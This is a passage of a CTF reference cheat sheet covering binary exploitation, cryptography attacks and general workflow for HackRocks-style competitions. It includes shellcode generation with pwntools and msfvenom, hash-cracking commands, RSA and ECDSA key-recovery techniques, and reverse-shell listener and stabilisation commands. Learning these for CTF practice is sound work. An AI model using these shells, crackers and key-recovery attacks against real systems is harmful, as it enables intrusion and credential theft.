shellcode = asm(shellcraft.amd64.linux.sh())
assert b'\x00' not in shellcode # verify manually, or use an XOR encoder/msfvenom encoder if needed

# msfvenom alternative for quick shellcode generation
msfvenom -p linux/x64/exec CMD=/bin/sh -f py -b '\x00\x0a'
```

5.9 Kernel Pwn (Intro)

BASH

```
# Typical kernel-pwn CTF setup: a vulnerable kernel module + a provided boot script
qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -append "console=ttyS0 nokaslr"
# -s opens a gdb stub on :1234 for remote kernel debugging:
gdb vmlinux
> target remote :1234
```

Common primitives: arbitrary read/write in a custom `/dev` character-device `ioctl`, then escalate via overwriting `modprobe_path`, corrupting `cred` structures, or a classic `ret2usr`. `checksec` doesn't apply here — check `nokaslr` / `smep` / `smap` flags in the boot script instead.

5.10 Sandbox / Seccomp Analysis

BASH

```
seccomp-tools dump ./challenge # show the seccomp-bpf syscall filter allowed
```

If `execve` / `open` are blocked, look for an allowed syscall you can abuse instead (e.g. `open` blocked but `openat` allowed, or build shellcode restricted to whitelisted syscalls only — classic "seccomp sandbox escape" pattern).

5.11 Format String — Automated Alternatives

BASH

```
# pwntools fmtstr_payload (from core) is usually enough. For manual leak hunting:
for i in range(1, 40):
    io.sendline(f"%{i}$p".encode())
    print(i, io.recvline())
```

BASH

```
# format-string-exploiter - standalone automated tool if pwntools isn't set up
python3 fsExploiter.py -b ./challenge
```

5.12 Heap Exploitation — Additional Tools

BASH

```
# pwndbg (alternative to gef, many prefer its heap visualizer)
pwndbg> bins
pwndbg> heap
pwndbg> vis_heap_chunks

# libc versions & offsets when the challenge doesn't give you one
pwninit # auto-downloads/patches ld+libc matching the binary
```

Clone **how2heap** (github.com/shellphish/how2heap) before the CTF — it's the standard offline reference of worked examples for tcache poisoning, House of Force/Spirit/Orange, unsafe-unlink, etc.

5.13 Blind Exploitation / Info-Leak Patterns

When you can't attach a debugger to the remote (no source, no local binary), lean on:

- **Partial RELRO + no canary:** GOT overwrite is often the intended path.

- **libc leak via `puts` / `printf` on a GOT entry**, then compute the libc base from a known offset (`libc-database` , from §5.7).
- **BROP (Blind ROP)**: when you have zero binary/libc info at all — crash the service repeatedly to map the stack, find a `stop gadget` , then leak the binary byte-by-byte via `puts` .

5.14 Alternative Exploit-Dev Frameworks

Purpose	Primary (from core)	Alternatives
Exploit scripting	pwntools	pwncat (post-exploitation shell handling), libptmalloc
ROP gadget search	ROPgadget, ropper	rp++ (fast, large binaries)
Automated exploit generation	angr	AEG-style symbolic tools, auto-rop (some CTF-specific scripts)

6. Cryptography

6.1 Identify What You're Dealing With

- Hash length is your first clue: 32 hex chars = MD5, 40 = SHA1, 64 = SHA256, 128 = SHA512.
- `hashid "hash_value"` or `hash-identifier` - auto-guess a hash type from its format.
- Classic cipher clues: only letters & spaces → substitution/transposition; groups of 5 chars → classic field cipher; numbers only → could be a numeric cipher (A1Z26, Polybius); `=` padding at the end → base64.
- **CyberChef** (gchq.github.io/CyberChef, works fully offline once loaded/downloaded) - "Magic" wand operation auto-detects many encodings; keep an offline copy on your team's laptop before the CTF starts.

6.2 Encoding Reference (NOT encryption - always try first)

BASH

```
# Base64
echo "SGVsbG8=" | base64 -d
echo -n "Hello" | base64

# Base32 / Base58 / Base85
echo "..." | base32 -d
python3 -c "import base58; print(base58.b58decode('...'))"
echo "..." | base85 -d # or `base64 -d` won't work, use python: base64.b85decode

# Hex
echo "48656c6c66" | xxd -r -p
python3 -c "print(bytes.fromhex('48656c6c66'))"

# URL encoding
python3 -c "import urllib.parse; print(urllib.parse.unquote('%68%65%6c%6c%66'))"

# ROT13 / ROT47
echo "Uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

# Binary / Octal / Decimal to ASCII
python3 -c "print(''.join(chr(int(b,2)) for b in '01001000 01101001'.split()))"
python3 -c "print(bytes([104,101,108,108,111]).decode())"

# Morse code
python3 -c "
morse = {'.-': 'A', '-...': 'B', ...} # use a full morse dict or an online/offline morse CLI tool
"
```

6.3 Classical Ciphers

BASH

```
# Caesar / ROT-N brute force (try all 25 shifts)
python3 -c "
ct = 'khoor zruog'
for shift in range(26):
    print(shift, ''.join(chr((ord(c)-97-shift)%26+97) if c.isalpha() else c for c in ct))
"

# Vigenere cipher (needs key, or crack via Kasiski examination / frequency analysis)
# CyberChef "Vigenere Decode" operation, or use CrypTool2 for automated cracking

# Substitution cipher - use frequency analysis
# quipqiup.com (offline alternative: build your own frequency-analysis script)
python3 -c "
from collections import Counter
ct = open('cipher.txt').read()
print(Counter(c for c in ct.lower() if c.isalpha()).most_common())
"

# English letter frequency order: E T A O I N S H R D L U
```

```
# Rail fence / transposition ciphers - try different rail counts (2-10) with a decoder script

# Atbash cipher (A<->Z, B<->Y...)
python3 -c "print(''.join(chr(219-ord(c)) if c.isalpha() else c for c in 'Uryyb'.upper()))"

# XOR cipher (single-byte key) - brute force all 256 keys
python3 -c "
ct = bytes.fromhex('...')
for k in range(256):
    pt = bytes([b^k for b in ct])
    if all(32 <= c < 127 for c in pt):
        print(k, pt)
"

# XOR with repeating key (if key length unknown, guess via Hamming distance / Kasiski, or brute force common lengths)
from pwn import xor
xor(ciphertext, key) # pwntools has a handy xor() helper
```

6.4 Hashing

```
BASH

# Compute a hash
echo -n "password" | md5sum
echo -n "password" | sha1sum
echo -n "password" | sha256sum

# Crack a hash with a wordlist
hashcat -m 0 hash.txt rockyou.txt # -m 0 = MD5
hashcat -m 100 hash.txt rockyou.txt # SHA1
hashcat -m 1400 hash.txt rockyou.txt # SHA256
hashcat -m 1000 hash.txt rockyou.txt # NTLM
hashcat -m 3200 hash.txt rockyou.txt # bcrypt
hashcat --show hash.txt # show already-cracked results
john --wordlist=rockyou.txt hash.txt
john --format=raw-md5 --wordlist=rockyou.txt hash.txt
john --show hash.txt

# common hashcat -m modes cheat table
# 0=MD5 100=SHA1 1400=SHA256 1700=SHA512 1000=NTLM 3200=bcrypt 500=md5crypt 7500=Kerberos

# Rainbow tables / lookup (only if allowed offline resources exist; otherwise brute force)
```

6.5 RSA

Core recap: $n = p \cdot q$ (modulus, public); $\phi = (p-1)(q-1)$ (Euler's totient, secret); e (public exponent, usually 65537); $d = e^{-1} \bmod \phi$ (private exponent); $c = m^e \bmod n$ (encryption); $m = c^d \bmod n$ (decryption).

Attacks - check these in order given what you're provided

```
BASH

# 1. Factor n if it's small or has known factors
factordb.com (or offline: python3 -m sympy; sympy.factorint(n))
python3 -c "from sympy import factorint; print(factorint(N))"
python3 -c "
import gmpy2
# Fermat's factorization (fast if p, q are close together)
"

yafu "factor(N)" # heavier factoring tool for larger semiprimes

# 2. Once you have p and q, recover everything:
python3 -c "
from sympy import mod_inverse
p = ...
```

```

q = ...
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = mod_inverse(e, phi)
c = ...
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
"

# 3. Wiener's attack (small private exponent d)
python3 RsaCtfTool.py --publickey key.pub --uncipherfile cipher.enc --attack wiener

# 4. Common modulus attack (same n, two different e values encrypting same message)
python3 RsaCtfTool.py -n N --e1 e1 --e2 e2 --uncipherfile1 c1.enc --uncipherfile2 c2.enc --attack common_modulus

# 5. Low public exponent (e=3) with no padding - cube root attack
python3 -c "
from gmpy2 import iroot
m, exact = iroot(c, 3)
print(bytes.fromhex(hex(int(m))[2:]))
"

# 6. RsaCtfTool - the swiss army knife, tries dozens of attacks automatically
git clone https://github.com/Ganapati/RsaCtfTool
python3 RsaCtfTool.py --publickey key.pub --uncipherfile flag.enc
python3 RsaCtfTool.py -n N -e E --uncipherfile flag.enc --attack all

# 7. Partial key / PEM parsing
openssl rsa -pubin -in key.pub -text -noout # dump n, e from a public key
openssl rsa -in key.pem -text -noout # dump full private key fields (p, q, d...)
python3 -c "
from Crypto.PublicKey import RSA
key = RSA.import_key(open('key.pub').read())
print(key.n, key.e)
"

# 8. Bit-flipping / Bleichenbacher / padding oracle - situational, needs a live oracle service

# 9. Small message space brute force (if message is short, e.g. a 4-digit PIN encrypted with RSA):
for guess in range(10000):
    if pow(guess, e, n) == c: print(guess)

```

6.6 AES / Symmetric Crypto

BASH

```

# Decrypt with a known key (pycryptodome)
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = bytes.fromhex("...")
iv = bytes.fromhex("...")
ct = bytes.fromhex("...")
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
print(pt)

# ECB mode detection: identical plaintext blocks -> identical ciphertext blocks
# Look for repeated 16-byte chunks in the ciphertext hex - dead giveaway for ECB
python3 -c "
ct = bytes.fromhex('...')
blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
print(len(blocks), len(set(blocks))) # if fewer unique blocks than total -> ECB + repeated plaintext
"

# CBC bit-flipping attack (modify ciphertext byte to flip a corresponding plaintext byte in the next block)

```

```
# XOR the byte you want changed: new_byte = old_ciphertext_byte ^ old_plaintext_byte ^ desired_plaintext_byte

# Padding oracle attack (CBC + a service that leaks "padding valid/invalid")
python3 padding-oracle-attack.py    # or use the `padre` / `PadBuster` tools if available offline

# openssl quick decrypt from CLI
openssl enc -d -aes-256-cbc -in ct.bin -out pt.bin -K <hex_key> -iv <hex_iv>
```

6.7 Useful CLI/Python Crypto Toolkit

BASH

```
# openssl - Swiss army knife for certs/keys/basic crypto
openssl x509 -in cert.pem -text -noout      # inspect a certificate
openssl rsa -in key.pem -check              # validate/inspect RSA private key
openssl enc -base64 -d -in file.b64        # base64 decode via openssl
openssl dgst -sha256 file                   # hash a file

# pycryptodome - Python crypto library (pip install pycryptodome)
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.PublicKey import RSA

# sympy - number theory helpers (factoring, mod inverse, CRT)
from sympy.ntheory.modular import crt
from sympy import isprime, nextprime, factorint

# gmpy2 - fast big-integer math (roots, gcd, invert)
import gmpy2
gmpy2.gcd(a, b)
gmpy2.invert(a, n)
gmpy2.iroot(x, n)
```

6.8 Elliptic Curve Crypto Attacks

BASH

```
# Invalid curve / small subgroup attacks, and ECDSA nonce reuse are the two classic CTF EC bugs

# ECDSA nonce reuse (same k used to sign two different messages) -> recover the private key
from sympy import mod_inverse
# given (r, s1, m1) and (r, s2, m2) sharing the same r (i.e. same nonce k):
k = ((m1 - m2) * mod_inverse(s1 - s2, n)) % n
priv = ((s1 * k - m1) * mod_inverse(r, n)) % n
```

BASH

```
# sage - the standard tool once you're doing real curve arithmetic
sage: E = EllipticCurve(GF(p), [a, b])
sage: E.order()
```

6.9 Lattice Attacks (LLL)

BASH

```
# SageMath's LLL is the go-to for: Coppersmith's attack (partial key/message known),
# related-nonce/biased-nonce ECDSA, and low-density subset-sum / knapsack cryptosystems
sage: M = matrix(ZZ, rows)
sage: M.LLL()
```

RsaCtfTool (from §6.5) already automates several lattice-backed RSA attacks under the hood — try it before hand-rolling a Sage lattice if time is short.

6.10 Hash Length Extension Attack

```
BASH

# hashpump - exploit MD5/SHA1/SHA256 length-extension when a MAC is built as H(secret || message)
hashpump -s <original_hash> -d "original_message" -a "malicious_append" -k <secret_length>
```

Look for this whenever an app authenticates data with `sha1(secret + data)` instead of a proper HMAC.

6.11 PRNG Predictability

```
BASH

# randcrack - recover Python's Mersenne Twister internal state from 624 consecutive outputs,
# then predict all future random.random() calls
from randcrack import RandCrack
rc = RandCrack()
for output in leaked_outputs: # need 624 x random.getrandbits(32) outputs
    rc.submit(output)
print(rc.predict_getrandbits(32))
```

Also check for **time-seeded PRNGs** (`rand(time(NULL))`) — if you know the approximate server time, just brute-force the small window of possible seeds.

6.12 Additional Tool Alternatives

Purpose	Primary (from core)	Alternatives
Encoding/cipher playground	CyberChef	dcode.fr (huge classical-cipher solver library), boxentriq.com
RSA automation	RsaCtfTool	SageMath scripts, factordb.com (web)
Big-integer math	gmpy2	SageMath, PARI/GP
Hash cracking	hashcat, john	CrackStation (web, precomputed rainbow tables for common hashes)

7. General CTF Workflow & Encoding Reference

7.1 Toolkit Checklist (install/verify BEFORE the CTF starts)

- curl, wget, netcat (nc), socat
- Burp Suite (Community is fine)
- ffuf, gobuster, feroxbuster, nikto, wpscan
- sqlmap, jwt_tool, arjun, tplmap
- Wireshark, tshark, tcpdump, NetworkMiner
- binwalk, foremost, exiftool, steghide, zsteg, stegsolve
- Volatility3, sleuthkit (fls/icat/mmfs), autopsy, photorec/testdisk
- Ghidra, radare2/Cutter, IDA Free, gdb + gef/pwndbg
- pwntools, ROPgadget, ropper, one_gadget, pwninit
- john, hashcat, RsaCtfTool, CyberChef (offline copy!)
- apktool, jadx, dnSpy, uncompyle6
- python3 + pip: pycryptodome, sympy, gmpy2, requests, pwntools
- Sherlock, theHarvester, holehe, recon-ng, SpiderFoot (OSINT)

7.2 netcat / socat — talking to remote services

BASH

```
nc target.hackrocks.com 1337      # basic connect
nc -lvp 4444                      # listen for a reverse shell
nc -nv target.com 1337 < payload.txt # send a file's contents as input

# socat - more powerful, handles PTYs (needed for some interactive/pwn services)
socat - TCP:target.com:1337
socat FILE:`tty`,raw,echo=0 TCP:target.com:1337 # fixes broken interactive shells (proper TTY)

# stabilize a reverse shell (once you've popped one via web/pwn RCE)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# then: Ctrl+Z, `stty raw -echo; fg`, then `export TERM=xterm`
```

7.3 Flag Hunting Shortcuts

BASH

```
# Grep recursively for a flag format across an extracted archive/filesystem
grep -r -a -o "flag{[^}]*}" .
grep -r -a -o "hackrocks{[^}]*}" . # adjust to the platform's flag format
grep -r -a -oE "[a-zA-Z0-9_]+\{[^}]*\}" . # generic CTF{...} pattern catch-all

# Search binary files too (grep -a treats binary as text)
grep -a "flag" challenge

# find files modified/created most recently in an extracted archive (often the "real" hidden file)
find . -type f -printf '%T@ %p\n' | sort -n
```

7.4 Handy One-Liners

BASH

```
# Quick local HTTP server to serve exploits/receive exfil
python3 -m http.server 8000

# Quick reverse shell listener
nc -lvp 4444

# Base64 encode/decode a file
base64 -w0 file > file.b64
base64 -d file.b64 > file
```

```
# Watch a file/log grow live
tail -f access.log

# Diff two files quickly
diff <(xxd file1) <(xxd file2)

# Generate a wordlist from a webpage (custom password guessing)
cewl http://target -w custom_wordlist.txt
```

7.5 Team Workflow Tips for HackRocks-style CTFs

- Split by category early based on strengths, but keep a shared notes doc (offline: a shared local file / whiteboard) with credentials, endpoints, and partial progress - lots of chall chains cross categories (e.g. web foothold -> pwn on the box -> crypto to decrypt final flag).
- Always `file` + `strings` + `exiftool` any provided file immediately, regardless of category - it takes 10 seconds and often reveals the real challenge type instantly.
- Keep a scratch Python REPL open at all times for quick base64/xor/hash calculations instead of hunting for an online tool.
- Time-box tricky challenges - flag a "stuck" challenge for a teammate rather than burning an hour solo.
- Re-read the challenge description/name after 15 minutes stuck - CTF authors hide real hints there (a filename, a cipher name, a version number).

Complete Edition — merges the core workflow of every category (Web / OSINT / Forensics / Reversing / Stego / Pwn / Crypto) with the full extended tool arsenal into a single reference. Prepared for HackRocks-style competitions — no AI, no memorization, just the reference.